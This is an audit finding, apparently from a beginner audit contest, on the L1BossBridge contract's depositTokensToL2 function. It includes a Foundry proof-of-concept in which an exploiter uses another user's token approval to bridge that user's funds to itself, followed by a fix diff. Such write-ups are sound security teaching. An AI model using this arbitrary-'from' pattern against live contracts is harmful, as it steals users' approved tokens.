Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

L1BossBridge.sol - depositTokensToL2 - should use `msg.sender` instead of `from` to avoid exploiter manipulating deposit

Summary

A user can use an other user address having a large approval and send token to his address on L2

Vulnerability Details

POC

function testdepositTokensToL2_balance_manipulation() public {
uint256 largeApprove = 100e18;
uint256 depositAmount = 10e18;
uint256 userInitialBalance = token.balanceOf(address(user));
// The user approve a large amount and deposit less thant the total approved
vm.startPrank(user);
token.balanceOf(address(user));
token.approve(address(tokenBridge), largeApprove);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
vm.stopPrank();
// The exploiter use an other user address after having spotted the Approval event
// And use his address as the recipient
vm.startPrank(exploiter);
uint256 exploiterInitialBalance = token.balanceOf(address(exploiter));
// Steal the max amount left possible approved by the user
uint256 amountStoleInL2 = largeApprove - depositAmount;
tokenBridge.depositTokensToL2(user, exploiter, amountStoleInL2);
// Exploiter balance didn't change
assertEq(token.balanceOf(address(exploiter)), exploiterInitialBalance);
assertEq(token.balanceOf(address(user)), userInitialBalance - depositAmount - amountStoleInL2 );
vm.stopPrank();
}

At the end of this test the exploiter will have the max approved amount on the L2 assuming the user have this amount available (which it is in this test), and the user will have lost a lot of money.

Impact

User fund can be deposit to the vault without knowing it and the exploiter will end up with free token on L2

Tools Used

forge test

Recommendations

Use "msg.sender" in depositTokensToL2 instead of "from"

-function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
+function depositTokensToL2(address l2Recipient, uint256 amount) external whenNotPaused {
// @audit-issue what if from is the vault you got unlimited token on L2
// @audit-issue sending token to the vault will be the deposit limit
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
revert L1BossBridge__DepositLimitReached();
}
- token.safeTransferFrom(from, address(vault), amount);
+ token.safeTransferFrom(msg.sender, address(vault), amount);
// Our off-chain service picks up this event and mints the corresponding tokens on L2
- emit Deposit(from, l2Recipient, amount);
+ emit Deposit(msg.sender, l2Recipient, amount);
}
Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

depositTokensToL2(): abitrary from address

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.